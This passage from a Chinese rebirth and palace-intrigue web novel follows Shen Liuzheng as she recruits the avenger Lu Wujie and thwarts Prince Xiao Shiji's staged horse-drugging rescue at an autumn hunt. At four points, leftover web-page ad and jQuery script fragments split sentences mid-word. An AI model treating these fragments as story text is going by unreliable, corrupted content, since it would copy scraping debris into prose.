他厉声吩咐:“去,今夜便找一个路无劫的人,务必将人带回来。” …… 带着流火的箭矢,划过天际,竟不比烟火逊色。 府上的人疯狂逃窜,尤其是肥油大耳的官员张榷,看着眼前散落的尸体,腿抖到站不住,瘫坐在地。 府门大开,有人报官,很快会有官兵赶来。 “路无劫,只要你放了我,我给你万贯家财,你不是最爱钱吗?金银财宝都给你,只求你放了我……”王榷一边心怀希望,一边拖着流血的腿往后退,痛哭流涕。 “你的钱,脏。” 路无劫的声音冰冷无情,剑尖血珠滴落。 尖叫声,救命声,一阵阵敲打在王榷刺痛的脑袋。 他早知道就该斩草除根,竟让路家跑了一个这么大的祸患。 府里上下都是背着包裹往外跑的,不留神就绊倒在地,站起身不顾疼痛继续往外跑。 再不跑,命就没了。 可是,有个披着深色斗篷的身影竟在往府里走。 一名侍女不小心撞上去,即将摔落之际,被一双手扶住。 侍女心有余悸。 眼前人的兜帽掉落,露出甜美姣好的面容。火光照亮她的双眸,清冷平静,不掺杂一丝情绪,似乎能将人心看透。 眼前人竟是名女子。 侍女惊地捂上嘴:“你……” 她回头看了眼冲天的火光,担忧注视沈流筝片刻,随后继续往外跑。不过刚跑几步,又折返回来。 “姑娘小心,还是快快离开此地为好。” 说完,人很快消失不见。 她相信明日一早,便会传出消息。五品官员王榷府邸被毁,一夜灭门。 沈流筝扫视一圈府邸,往王榷院落走,她注意着动静,已经有官兵赶来,要抓紧时间离开。 大火燃起。 屋内,路无劫剑尖抵着王榷的喉咙。 “我父亲将你视为挚友,却被你无情加害,我所做的,只是把你做的事如数奉还。” “我对不起你父亲,对不起……”王榷手臂和腿都流着血,已经爬不动了,房间内浓烟袭来,他快要支持不住,“咳咳,我没办法,你父亲不死,死的便是我……” “那你便下去陪他,和你的家人一起。” 王榷还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想说什么,只觉嗓子一痛,再也发不出声来。 硕大的脑袋磕在门边,他死了。 重剑掉落在地。 路无劫身上早已满是伤痕,府中侍卫众多,即使他武力再强,也难免受重伤。 他已经不能动弹。 大仇已报。 路无劫静静等待官府的人,嘴角露出满意笑容,他为阿爹阿娘报了仇,再也什么牵挂之事。 身后火势像个巨大怪物,快要将他彻底吞没。 门外穿来清冷声音。 “路无劫,你就这么甘心死吗?” 路无劫忍痛抬头。 清瘦身影逆着光,看不清面容,却能唤出他的名字。 会是谁? 路无劫问出心底疑惑:“你是谁?” 沈流筝:“不用问我是谁,只需要知道救你的人是我就行了。” 路无劫反应过来,眼前人是名女子,可他从来不认识什么女子。 “你想要我做什么?” “我不会强迫你做什么,往后我便是你的雇主,我出钱,你出力,你会有很多钱。你若答应,我今日便救你,保你性命无虞。” “雇主?”路无劫轻嗤。 他向来自由惯了,第一次有人对他这么说。 沈流筝语调轻松,仿佛在做一件好事:“当然,你也可以不答应,不用等官兵来,我便送你与他在黄泉路上做个伴。” 这是在说王榷。 路无劫为人沉默,难得笑出声。 恍惚中,路无劫看到了死去母亲,想起母亲让他活下去的话。 “好,我答应你。” 刚说完,路无劫便跌倒在地,彻底晕死过去。 官府的人终于赶到,大火已经彻底吞没房屋,没人敢靠近。都在想,凶手已经逃走,或者消失在大火之中。 …… 沈府西苑常年没人住,沈流筝将人安置在此处。 床上的人已经昏迷一整日,身上各处进行了包扎,却还没有苏醒的迹象。 面板再次提示。 【请治疗男主的手下。】 沈流筝挑眉。 治疗可以,但是谁的手下就说不准了。 前世路无劫隐在暗处,做萧时寂的死士,扫除不少障碍。 沈流筝玉葱手指捏着一根细长银针,悠悠道:“既然你不聋,怎么醒了也要装睡,怎么,你是个哑巴,还是想做个哑巴呢?” 沈流筝将银针放入药匣子内。 床上的人睁开双眼。 他瞧见沈流筝的动作,颇感意外,眼前的女子竟是个医者。 看来这腰间的伤口,也都是她缝合的。 路无劫闷声不吭,只静静看着她,心里闪过纷乱思绪。 眼前女子长相甜美,白皙的手指沾着血,显出诡异美感。她不笑的时候,完全是另一幅模样。 沈流筝上前,像是要查看伤口,却将一手正好按在伤口上面,稍加用力,伤口崩开,血流如注。 缠好的白色绷带染上红色血迹,惨不忍睹。 “啧,可惜了,伤口又裂开了呢……” 沈流筝笑着,手下的力气却没收,好看的杏眼怎么看怎么可怕。 路无劫忍不住咽了咽口水。 好狠毒的女子。 5. 第 5 章 路无劫咬牙回:“都不是。” 沈流筝收手,笑眯眯道:“会说话就行,我怕你不开口,嗓子再出问题。” 路无劫把连脸扭到一侧,闷声不吭。 隔着门窗,看到外面院落堆积的落叶,不远处有座水榭清泉,风吹过带起涟漪。 沈流筝不再管他的伤势,用清水把手濯洗干净,缓缓开口,将路无劫的生平一一道来。 路无劫转过身看她,越听越心惊,疑惑不已。 这女子为何知道这些。 没有人会这么了解他。 路无劫等着她下面的话,想必费尽心思找到他,出手相助,都是为了之后为她做事吧。 路无劫的面容一半落在阴影里,是想让他要做什么呢? 杀人,还是同昨日一般去灭门? 沈流筝像是能看穿他的所想,淡淡道:“我没什么杀人的乐趣,你喜欢金银,刚好我有,一些顺手的事替我做了,你就能得到你想要的。还有最重要的一点,不能为旁人办事。 路无劫:“我不想做的事,给我再多的钱也不做。” 沈流筝无声地笑:“这话我对你说过。”说话间,眼底狡黠灵动,让路无劫微微愣住。 沈流筝说的旁人自然是指萧时寂,上一世的路无劫潜在暗处,是助力颇多的得力干将,诸多转折点都是经由他手。 而这一世,没了路无劫这样的人在身边,萧时寂还能次次化险为夷,行得如此顺畅? 萧府一片肃杀寂寥。 路无劫人都被带走了,萧时寂的手下自然没找到。 书房中的萧时寂脸色阴沉,转过身再问:“还是没把人找到,我说的地方都去过了吗?” “属下不敢隐瞒,各处都已排查,但确实没找到人。”手下不敢抬头,“经查证,醉仙楼确实有过这个人,但是前一段已经搬走了,等属下再去找时,没留下丝毫痕迹。” 萧时寂捏着桌角的手指泛白。 怎会如此? 为何至今为止,前世的许多事情都发生了变化。难道这是在提醒他,前世的皇位也可能不再是他的吗? 桌角碎裂,木屑飘散。 萧时寂眼底黑不见底。 不、不管重来几次,所有的一切都还是他的,皇位是他的,所有的权势也都是他的。 “再去找,我给你三日时间,务必把人寻回,否则……” 书房安静,手下冷汗濡湿衣襟:“属下遵命!” …… 沈流筝为路无劫换了新身份,再出府时已经时沈府的侍卫。路无劫身上中了毒,沈流筝带着他出来找医馆。 路无劫正在疗伤。 温泉水浸泡至肩膀,浸透衣衫,他闭着双眼,感受着药草穿过骨骼的痛感。 等他睁眼,忽然发现沈流筝坐在对面瞧他。 甜美乖巧的脸庞上一双眼眸清澈,平静无波澜,看不出丝毫情绪。 路无劫最初避开眼神,但很快却察觉不对劲。 她这是在忍痛? 沈流筝坐着,额角冒着细细冷汗,发丝濡湿贴在额角。所有的感官被无限放大,周身一切天旋地转,眼前场景都变得模糊。 萧时寂察觉到异常。 系统自动开启了惩罚模式。 这事路无劫并自然不知晓,只疑惑地皱起眉头。 难道眼前这位雇主还带着什么病不成?就凭这体弱的身子,前几日是如何救下的自己? 路无劫嘴角抿着更紧。 瞧着沈流筝的越发苍白的脸色,嘴唇蠕动,最终还是没问出口。 沈流筝眼前事物变得恍惚,她费力起身走到窗边,迎着冷风吹,头脑变得清醒。 喧嚣热闹的街道映入眼帘,窗外景色逐渐清晰,街道两旁的人夹道相迎。 有人做出虔诚姿态。 “叮铃——” 铃铛声响起,如同天籁。 金色铃铛挂在车辇四角。 沈流筝眸光闪动,路无劫看着她的专注神情,解释道:“那是我朝国师,不仅通晓天文地理,而且精通医术,专为陛下医治旧疾。还有那位身旁天机处的神女,善占卜,算无遗漏,也是陛下专门派人从风铃谷请来的。” 风铃谷是一个特殊的存在,谷中之人皆医术高超,冠绝于世。传闻还有占卜之术,能上通神明,祭司社稷山川,祈祷风调雨顺。 红衣少女带着铃铛手链,动起来如闻天籁,眉心一点红,灵动明媚。 这便是神女虞昭。 四周的百姓都下跪欢呼:“神女。” 沈流筝冷汗顺着额角滑落,恍若未闻,只眼中多了玩味。原来这便是风铃谷之人,上一世已经有诸多交集,但沈流筝却没见过他们的样子。 后面还有一个人。 只见百姓激动神色更甚,甚至有人高声喊道:“看啊,是国师大人——” 恭敬声音此起彼伏。 从百姓的反应可以看出,国师备受推崇,这让沈流筝更好奇了。 神医登场,这位就是前世给男主药医治的人,那算下来,也算是救过她的人? 微风吹起,掀起车辇的白色纱帐。 闻人珏看了过来。 对视间,沈流筝瞧清了他的模样。黑眸浅淡,墨发垂在肩上,一袭水蓝色增添几丝出尘气质,倒不似凡尘之人。 国师? 风铃谷的来由浮现在脑海。 沈流筝浅笑。 按照剧本,她与风铃谷的人必有交集,她突然开始期待起来。 闻人珏收回目光,随后纱帐飘落,众人再也看不清他的面容。 沈流筝离开医馆。 到了沈府,迎面走来眉眼得意的郭氏,上下打量一番,啧声道:“原来三小姐还记得我们沈府的家门,深夜不归,哪里是沈府姑娘的做派?” 郭氏像是揪到她什么厉害的把柄,嘴角快翘到天上去,问一旁的李妈妈:“李妈妈你说说看,按照府上的规矩该怎么处罚才好呢?是跪祠堂呢,还是跪着抄写女戒呢?” 沈流筝身体虽然好转许多,但唇色些许苍白,瞧着比平日更清冷。 一双含笑眼眸没了丝毫笑意,李妈妈心底莫名发慌,“夫人,还是让老爷定夺,不然……” 不然她再像上次一样发疯,她可不敢想象后果。 郭氏恶狠狠瞪李妈妈。 没用的老东西。 沈流筝瞧着眼前的乐子,扯动嘴角:“郭姨娘果 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然是喜欢女戒之人,连思考方式都不同寻常。” 郭氏不懂她这是在说什么,只瞧着背影发呆,问一旁的李妈妈:“她这话是个什么意思?” 李妈妈欲言又止:“啊,这个……三小姐她想必是在夸夫人您……夸您说出的话让人信服……” 李妈妈编不下去。 郭姨娘脸色更黑了。 等沈明礼一回府,郭姨娘就吹起了耳旁风,想要加罪于沈流筝,说什么不守女规,不成体统,日后若是闯出什么乱子,影响到沈府姑娘的婚事。 可沈明礼却不耐心,听不下去,简单粗暴用一句话打断她。 “够了,你在府上就没旁的事可做,你看看你,整天都在想些什么!”说完,沈明礼转头去了海棠苑,反而对沈流筝柔声细语。 郭氏又哑巴了。 “流筝,你这几日好好休息,小侯爷府上的信传来了,邀请过几日去他们家的猎场狩猎,你到时候也去。”沈明礼掏出一些银票,笑得让人恶心,“还有记得这些钱财去买些胭脂水粉。” 沈明礼想要升职的心思藏都藏不住。 平阳侯猎场。 书中写着在猎场发生的一件事,萧时寂意外救下骆将军的独女,借此与骆将军交好。 骆将军本是个不谙世事的人,不过自从萧时寂对他们家有了救命之恩,开始涉足朝堂,并且给了萧时寂很大助力。 大概这就是所谓的男主光环吧。 窗外的落花飘落在桌案,笔墨落在宣纸上。 三日之后,城外猎场。 沈流筝这一世还未见过大皇子,也就是未来的齐王。 当今朝堂最炙手可热的人选,萧时寂夺嫡最大的对手,也是孟朝颜联姻对象。 骆将军之女会遇到危险,马儿癫狂,如果出现在她面前是大皇子殿下,说不定之后剧情会更精彩。 沈流筝收笔,眼底浮现无害的笑意。到那时萧时寂又会是何种神情呢? 只要是让萧时寂不顺的事,沈流筝都会感到一阵快感。 而萧时寂本人,近日来觉得诸事不顺,出去打猎的路上也眉头不展。身后跟着的手下细心察觉,做事更加谨慎,生怕出了什么差池。 萧时寂总以为身边跟着的人时路无劫,可的确不是,现在换成了别人,哪里都看不顺眼。 萧时寂一个冷冷的眼神扫来,身后手下便头低的更沉了,不敢抬头看。 “驾——”萧时寂驾马奔驰,马发出一阵嘶鸣,冷风呼呼打在脸上,心中才舒畅少许。 忽然瞧见远处缓缓行驶的马车,萧时寂放慢速度。瞧清楚马车上的标志,想到那张笑意盈盈的眉眼,萧心下一软,跟了上去。 前面是沈府的马车。 深秋的落叶寂寥,但想到马车里的人似乎能带来诸多温暖。 萧时寂直直看着马车里面,眸光深情,灼灼目光仿佛要将车帘穿透。 不过前面一个侍卫的身影还是吸引了他的视线。这个背影,看起来熟悉极了,让他稍稍出神,不过很快,他又否定了脑海中荒谬的想法。 低头思索少许,再抬头看向车帘时,正对上一双盛着星河的笑眼。 “竟然能在这里碰到殿下,好巧。” 6. 第 6 章 沈流筝柔声细语的问候仿佛能抚平所有不顺,萧时寂眉眼不自觉化开笑意:“是啊,很巧,沈姑娘近来一切可安好。” 作为前世恋人,流筝总是会平复他的忧愁顾虑,就算、就算是被牺牲伤害也毫无怨言。 萧时寂在她面前能彻底放松心神。 “一切都好。”沈流筝眨了眨无辜双眼,“我看殿下眉头紧锁,可是有什么烦心事吗?嗯……殿下不妨与我说说看,看我是否能帮的上什么忙?” 萧时寂先是一愣,明白她的意思后便发出爽朗笑声。 流筝心思单纯善良,虽然身为柔弱女子无能为力,但有这份心就已经足够。 萧时寂眼神变得柔和:“在下多谢沈姑娘,不过近日我没有什么忧心之事,沈姑娘不必担忧于我。” 沈流筝一脸相信点点头:“嗯,那到时候若是有什么需要我做的,七殿下可一定要告知于我。” 萧时寂勾唇:“好,一言为定。” 前面传来马蹄嘶鸣声,打断两人相视目光,皆望过去。 猎场外众人的马车齐聚,平阳侯府的人早早等着众位宾客的到来。 人群最前方显眼位置站着位气宇轩昂的男子,正与平阳侯交谈甚欢,而他身侧,站着的正是丞相之女孟朝颜。 这位男子便是大皇子萧时焕。 萧时焕的母妃是眼下后宫最受宠的贵妃,母族也是大周朝百年的世家贵族,萧时焕虽愚钝但待人谦和,由此他的身边总是围着诸多朝堂官员。 孟朝颜首先看到萧时寂的身影,脸上神色陡然转变,眼底笑意瞬间消散,变得脆弱可怜,显得极其无助。 她的脚步不自觉往后退,想要与大皇子之间划开段距离。 如果可以,她希望萧时寂永远不要看到她与大皇子在一起。 萧时寂纵身一跃跳下马,走到沈府马车前,他要亲自搀扶沈流筝下马车。 萧时寂将手伸出去,沈流筝挑开车帐,对视一眼,犹豫片刻后将手递了过去,裙摆飞扬,轻盈落地后,沈流筝笑着仰头看他。 当真是令人赏心悦目的一幕。 不少人都被吸引了目光。 孟朝颜几乎要站不稳,萧时寂都不曾给她一个眼神。 不远处的好友苏青青瞧见孟朝颜受伤的模样,自然心疼,于是再次恶狠狠剜了沈流筝一眼,随之而来的是阴阳怪气的声音,嘲弄道:“朝颜,明明你和七殿下二人才是青梅竹马,虽然眼瞧着你们因阻碍不能在一起,但心里还是有对方的,这个沈流筝,真是不知羞耻的家伙。” 孟朝颜几乎要抬手捂住她的嘴,胆怯看了眼大皇子,眼底滑过一丝不耐烦,摇头嗔怪道:“青青,这种场合不要说这种话。” “可是……”苏青青看着孟朝颜责怪的目光还是泄了气,“好吧,我知道了……” 孟朝颜想,若是只有她们二人也罢,但此时大皇子也在,被听去不知道有何种后果。 在苏青青的视角里,孟朝颜是被迫与大皇子定下婚约,是个可怜人。 她并不知晓孟朝颜对她有所隐瞒。 孟朝颜脑海中涌过复杂思绪,再抬头时,正好对上大皇子的视线。 孟朝颜挤出温婉笑意。 这下苏青青更心疼了。 大皇子萧时焕也注意到那边的动静,目光转动,最终落在七弟萧时寂的身上,同时深深看了沈流筝一眼,眼中浮现欣慰笑意。 他朝二人颔首致意。 萧时寂面无表情点点头。 幸好大皇子继续与平阳侯交谈,也并未走来,不然萧时寂脸色就要黑下来。 沈流筝装作不知,瞧着萧时寂不自然的神情内心舒服极了,用甜美嗓音问:“七殿下,方才打招呼的人是那家府上的公子,殿下与他很相熟吗?” 萧时寂神情僵硬:“流筝,那是……我的大皇兄。” “原来如此,原来是大殿下。”沈流筝满眼诧异,随后笑着继续道:“在我还未进京时就听闻,殿下您与诸位皇子兄弟情深,看来果真不假,大皇子殿下与你很是要好。” 这番话可把萧时寂恶心坏了,脸色一会青一会白,好看极了。 远处马蹄扬起尘土,不少人在表演精湛骑术,有人高声喝彩。 萧时寂立即转移话题:“流筝,我们去驾马吧。” 沈流筝也看过去。 大周朝民风开放,女子同样进入学堂,精通六艺,大多擅长骑马。 孟朝颜与苏青青两个人各骑了一匹上好红马,身着骑装显得英俊利落。苏青青在路过沈流筝时,满眼不屑地看向沈流筝时,夹杂着嘲弄之意。 一个自小生活在田庄的女子,哪里会懂得骑术。 苏青青心里不自觉带上了优越感,她等着看沈流筝气急败坏的模样,可是出乎意料的是,沈流筝不仅毫不在意,而是开口夸赞。 “听闻我朝女子大多都会骑马,今日一见果然如此,众位姐姐穿上骑装,都有女中豪杰的风范。” 苏青青撇撇嘴:“是啊,朝颜的骑术可是七殿下手把手教会的,不像某些人,连马都没碰过。” 沈流筝连忙点头:“对对对,你说得都对。” 苏青青剩下的话噎住。 这一世的沈流筝确实不会骑马,但很快要学会,而且要萧时寂亲自教导。 萧时寂心底涌起心疼,他认为流筝这在伪装坚强,对苏青青的厌恶更深一层。 苏青青被冷冷瞥了一眼后,不敢再出声。 萧时寂其实在来猎场之前便提前备好一匹小马,还找了专门的骑术老师来教授骑术。 此时手下正将马儿牵来。 阳光下,身形娇小的马匹身姿矫健,通身雪白,毛发柔顺散发光泽。 萧时寂从前去过战场,他的坐骑是专门从边境带回来的,而这匹小马也是战马所生。不过奇特的是,体型与其余马匹不同,体型偏小刚好适合女子。 萧时寂准备了许久,期待看到沈流筝欣喜的神情。他接过小马,径直走到沈流筝面前,轻声问:“流筝,喜欢这匹小马吗?” 沈流筝满眼不可置信,欣喜之情难以抑制:“殿下,这是给我的小马吗,真的是送给我的吗?” 沈流筝仰头看着萧时寂笑得开心,甜美眼睛弯起来,像是闪着好看的碎星。 萧时寂对沈流筝如此直接的情感流露依旧不适应,不自然地扭过头,耳朵竟然红了起来:“嗯……这是专门送给流筝你的小马。” 周身的人都投来羡慕目光,感叹七殿下真是肯花费心思在沈家三小姐身上。 苏青青更是把牙齿都要咬碎。 孟朝颜觉得眼前一切都变得恍惚,泪眼朦胧,但这些都不能让大皇子看到,她仰头让眼眶浸润的泪水流回去。 萧时寂用手捋顺白色鬓毛:“流筝,来试试这匹小马。” 沈流筝显得局促:“殿下,我不会骑马……我瞧着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旁人在马上的身姿,都是极好看的,殿下你是要教我骑马吗?”说完,她看向四周,眼中流露出羡慕神情。 旁人认定了沈流筝不会骑术,或许会露出鄙夷神情。大周世家大族的女子没有不会骑术的。 沈流筝越是如此,萧时寂心中越是心疼。 萧时寂已经叫来了骑术老师,但此时却换了主意,温柔对沈流筝道:“无碍,我来教你骑就好,流筝会学得很快。” 沈流筝假装欣喜。 萧时寂做事很有耐心,但他时不时会望向一处,似乎在等着什么人来。 沈流筝学得很快,小白马在她的抚摸下异常乖巧,马蹄和额头高高扬起,仿佛很享受她的触摸。 这让萧时寂感到意外。 最初这匹小白马很难驯服,还是他专门请了驯马师,驯养数日才带了出来,就连近日也没打算让沈流筝骑远。 远处传来豪爽的男声,看体态像是位将军,萧时寂眼前一亮,他忍住内心焦急说:“流筝,你就在此处骑马,不要走远,有什么需要就派人去通知我。我手头还有事情要去做,这会儿就先离开了。” 沈流筝茫然点头。 萧时寂召来专门的驯马师和骑术老师陪在沈流筝左右,还有专门保护的人。 骆府的马车已经驶来,萧时寂需要借机离开,与骆将军交好的机会,他一定要抓住。 不过就在要离开之际,突然出了岔子。小白马受了莫名的刺激,不知怎么就开始横冲直撞。 沈流筝还在小白马身上,身子左右摇摆,眼看就要跌落下来。 萧时寂握着缰绳的手犹豫不已。 虽然已经派人提前盯着骆府的人,但难免还是会出差错。 萧时寂眉头紧紧皱着,忽然听到一声呼唤。沈流筝回头看他并高呼道:“救命——殿下救我——” 萧时寂看了骆府的车马一眼,最终咬咬牙驾马朝沈流筝追去。 骆府的马车驶过。 萧时寂稳下心神,很快追赶到沈流筝身后,他在后面出声安抚:“流筝,俯下身子,抱住马脖子,不要怕!我这就来救你。” 沈流筝照做。 深秋的风呼呼刮在脸上,沈流筝低头掩住漫不经心的笑意。 萧时寂追上小白马,用单手牵制住马绳,让小白马彻底停下来。 萧时寂将人抱下来,仔细上下查看:“流筝,你可有哪里伤到了?” 沈流筝捏着大腿的肉,硬生生润湿眼眶:“七殿下……流筝多谢七殿下,我不曾受伤,倒是殿下可有受伤吗?” 萧时寂:“没有,你没事就好。” 沈流筝坐在高大骏马上,萧时寂牵着马。他吩咐手下将方才莫名发狂的小白马被带回去,沈流筝却制止他,说她喜欢这匹小马要留下,萧时寂没有拒绝。 归来后,萧时寂在营帐内踱步,心里不安,派人去问骆将军独女现在何处,是否去了东边陡坡? 上一世,骆将军独女从陡坡跌落,是他出手相助,才获得骆姑娘芳心。不出意外,她半个时辰之后应当会出现在那里。 可是意外偏偏出现了。 回禀的手下脸色难看:“回殿下,骆姑娘已经从陡坡回去了,是大皇子救下了从陡坡跌落的人,手下只能在一旁远远看着。” “你说什么?”萧时寂脸色阴沉的可怕,身侧拳头收紧,“怎会如此,她不应该是这个时间,大哥他也不会出手相助才对……” 7. 第 7 章 英雄救美,通常会赢得女子芳心。 从眼下局势来看,大皇子比萧时寂对于夺嫡更有优势。萧时寂想要扳回一局,让前世的一切回归正轨,必须要做些什么吸引骆将军独女的目光。 冷风吹进营帐,萧时寂脑海中全是骆将军与萧时焕相谈甚欢的场景。 他绝不允许。 骆将军身后的兵力绝不能落在大哥手里。 萧时寂坚信大皇子必定是提前得知了这个消息,骆将军独女不怎么出门,很少有人知晓她的样貌。况且来秋猎的人如此多,怎么会那么巧,救人偏偏就救下了她,所以背后必定有人指示。 不过还好,大皇子已有婚约,以骆姑娘那样的身份不会起别的心思。如果是自己,她定还会如同先前那般,对自己一见倾心。 萧时寂准备筹划更好的法子。 烛火落在他的脸庞,一半落在暗处,脑海中莫名浮现沈流筝白日在马背上惊慌失措的模样,眼底划过细微波澜。 …… 弯月高悬,马棚里四下无人。 看守马匹的人早已晕倒过去,碰倒的酒瓶散发浓郁酒香气。而准备白日狩猎的众人早已在营帐歇息,没什么人注意这边的动静。 身着一袭玄衣的蒙面男子带着斗笠,同色发带系着高马尾,人隐在暗处,嘴上叼着根狗尾巴草,双手抱臂靠在墙边,细长眼尾透露着慵懒。 他在这里等要来的人。 果然过了不久,马棚边偷偷潜入一陌生男子,脚步放轻悄悄溜到骆府的马匹附近,偷偷将怀里的东西洒在草料上。 等马儿吃了下了药的草料,势必会发狂。 目睹全程的蒙面男子挑眉,眼前场景倒是验证了那人的话。那人的话还在耳边徘徊,他只能来确认而不能干预。 蒙面男子抬手抚了抚斗笠边缘,随后离开。 很快,陌生男子小心翼翼张望,拐过几个弯最后叩拜在萧时寂身前,恭敬道:“殿下,一切都已经处理妥当。” 陌生男子是萧时寂的手下,轻功很好,隐蔽能力极强,专门被派来干这活。 在萧时寂的一堆手下里,很少有人能发现他的身形。若是说有,那就是还没找到的路无劫。 手下继续去布置,萧时寂准备离开,却听到不远处来人的动静。 “何人?”萧时寂眼神凌厉,不过很快在看清楚来人后,眼神缓和下来,“流筝,你怎么在这里?” 沈流筝眼神懵懂。 萧时寂放轻声音再问:“夜色都这么深了,我以为流筝早已入睡,没想到是我想错了。流筝这么晚在外面,是有什么事吗?” 沈流筝:“殿下,我没有什么心事,只是睡不着,想要出来散散心。” 萧时寂眼神一动:“流筝在想什么不妨与我说说看。”明日的事情都安排好,他放松了许多。 沈流筝笑了笑,仰头望天道:“今夜天上的星星好多,也不知道它们能不能听到人的心声?” 萧时寂也仰头看去。 周身视野辽阔,不再是城中庭院的一方天地,星空点缀,让人心胸畅怀。 萧时寂扭过头看沈流筝的神色,声音里时难以察觉的温柔:“流筝,你有心事。” 他此刻愿花费心思处理沈流筝的心事,心甘情愿。 “我知晓殿下的好意,不过殿下不必为我费心。”沈流筝长叹一声,摇摇头笑回:“近些日子我一直在想,是不是回到田庄才是好的归宿,进京的这段时日,我总觉与周身格格不入,就比如今日的骑射……我与大家差的都太远,或许、或许这里不适合我。” 萧时寂眼中浮现心疼。 他认为流筝这是在感叹不顺之事,在府上有郭氏虎视眈眈,在外面还被人轻视,是他做的不够好。 “不会的,流筝,一切都会好起来的,你的所想所愿都会成真,留在这里不要走,就算是为了我。” “府里的事情我已经对沈侍郎吩咐过,至于明日,我会派骑术精进的老师教你。” 萧时寂认定他能解除沈流筝的困境,毕竟是他的心上人。 沈流筝却认真望着他,眸光闪动,她缓缓道:“殿下,你会是那位骑术精进的老师吗?” 这是希望他来亲自教授骑术。 “流筝我……”萧时寂看着她,到嘴边的话停住。 按照筹划,明日骆将军独女会骑马射箭,在无人注意处马儿会无故发狂,到那时他凭空出现,上演一出英雄救美的好戏。 他没有时间去亲自教流筝。 “原来是我想多了。”沈流筝再次望天,勉强掩盖住眼底的失落,“殿下,明天我好好跟着老师们学,等学会了,殿下会过来看的,对吗?” 萧时寂抿紧嘴角,不知道要如何回复。 “如果殿下是骑术老师,或许我两三日便能学会,就能像其他人一样,自由自在地驰骋猎场,就算是想一想……”沈流筝深吸口气,“光想想就很满足了。” 萧时寂抬手抚上她的肩膀,流筝嘴角挤出笑意。 四目相对,萧时寂最终还是无奈开口:“流筝,明日我做你的骑术老师,亲自教你骑马射箭。” 选定合适的位置,他可以在教授骑术的同时,假装顺便救下骆姑娘。 …… 平阳侯每隔一年都会邀请众人秋猎,许多达官显贵都会前来。骏马高大威猛,马蹄声不绝于耳,让人眼花缭乱。 可其中,缓缓驶来一匹小白马,吸引众人视线。 沈流筝换上了骑装,将头发束起,呈现与平日不同的洒脱之美,只是甜美的双眼弯起,让人跟着忍不住一起笑。 她坐在小白马上,用手轻抚马儿鬓毛,而萧时寂为她牵着马,眸光宠溺。 不少女子都捏紧手帕,难得见这样的场景。 七殿下身为皇子竟愿意为心爱的女子做到如此地步,实属难得。 就连大皇子萧时焕也惊诧不已,没想到七弟为一个相识不久的女子如此情根深种。他倒希望七弟是真的走出之前的事情,找到真正属于自己的心爱之人。 想到这里,他自然地牵起身旁孟朝颜的手。 孟朝颜带着帏帽,没人瞧的清她神色。 沈流筝非常配合,对于这份“珍贵”爱意感动不已。 这可太“珍贵”了,作为心上人不仅要遭受中毒和行刺之苦,还要时刻做好被牺牲的准备,只为铺平男主的夺权之路。 手下为萧时寂也牵来了马 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 萧时寂纵身一跃而上,环顾四周,目光锁定在骆将军独女骆席玉身上,停顿良久后移开视线。 林间禽声回荡,不远处有一片开阔空地。 平阳侯提前命人把林间猛兽捕走,避免达官显贵受伤的风险,尽管如此,许多人身边还是要侍卫跟随,避免出什么其他意外。 骆席玉身边时刻跟着一名同龄女子,沉默寡言,看身手是从军营出来的,应当是骆将军专门派的。 萧时寂注意着林间的动静,骆席玉在他视线范围以内,一旦马匹发疯,他可以及时赶到。 耳边响起甜糯嗓音:“殿下,你看!小白马很喜欢我摸他。” 萧时寂回过神,应声回:“是啊,流筝学得很快。” 小白马高高抬着头,马蹄轻快,甚至想要小跑起来,看得出来很兴奋。 萧时寂说的是实话,若是没有碰过马的人,第一次上马多少有些胆怯,但是流筝却毫无怯意,反倒是与马儿相处融洽。 流筝学的越快,他便能更快离开。 他仰头看日头,估算着时间,等林中手下的消息。若是有鸣嘀响动,那就是手下在传递信号,也是该露面的时间。 在仰头的间隙,他没注意到沈流筝附在小白马耳边说了什么。 “流筝,你在此处待会儿,我不久便归来。”萧时寂纵身上马,为了防止筹划再出错,他准备离开。 话刚说完,恰巧林中传来鸣嘀声,声音不大,但足够他听到。 萧时寂的马儿还没疾驰,小白马倒先发了疯,像是被声音惊吓到,忽然就开始往林子里冲,方向尽头刚好是骆席玉的方向。 “啊——”沈流筝惊呼出声。 萧时寂来不及想那么多,就开始追。许多事情在脑海闪过,为何远处的骆席玉还好好的,那刚才的鸣嘀声是怎么回事? 为何不是按照要求放的? 小白马冲进林子,跨过灌木丛,沈流筝抱紧马儿的脖子。骆席玉身旁女子立刻将人护在身后,但神奇的是,小白马在离骆席玉不远处忽然停下。 然后重新踏着轻快的脚步,蹭沈流筝的手掌,竟像是在邀功。 萧时寂喘着气跳下马,查看情况,在看到沈流筝无碍后,朝骆席玉颔首示意:“意外惊扰姑娘,是我们的过错。” 骆席玉身前女子满眼警惕,而骆席玉没太听清萧时寂说什么,目光全被这匹小白马吸引。 等骆席玉反应过来,也只是简单说了“无碍”。随后便走向小白马,伸手想要触摸,忽然想到什么收住手。 骆席玉看向沈流筝:“请问,我可以摸一摸这匹小马儿吗?” 沈流筝笑得极甜:“当然可以,不仅可以,你还可以亲自骑骑看。” 骆席玉大喜,伸出手轻柔地抚摸小白马,而小白马高高扬起头,眼睛眯着踏步,看样子享受极了。 骆席玉还从未见过如此通人性的马儿,内心激动,将心底的想法直接说了出来。 “姑娘,不如这样吧。这会儿你来骑我的马,我们先交换一下,你看可好?” 可沈流筝还没回答,身旁的萧时寂却抢着说:“不可以!” 霎时,所有人的目光都落在了他的身上。 8. 第 8 章 话说出口的瞬间,萧时寂便觉得不妥。 骆席玉用一种奇怪甚至带着埋怨的眼神看向他。 这人长得端正,为何说出的话偏偏让人不悦。明明对面的姑娘乐意答应,他却要跳出来阻拦。 覆水难收,萧时寂想办法找补,轻咳一声说:“我的意思是,这匹马身形高大,流筝你才刚刚接触骑术,若是贸然尝试怕有危险。” 闻言,骆席玉手里握着的皮鞭松了松,脸色也不再过于难看。 勉强还算个说得过去的理由。 骆席玉随了骆将军的性子,生性洒脱,明艳灵动,向来不爱无聊宴会,出来玩也是去寻更有趣的事物,但后来被人说成不爱出府。 她转头看沈流筝,静静等着她后面的话。但凡有她一丝顾虑,必定不会再勉强。 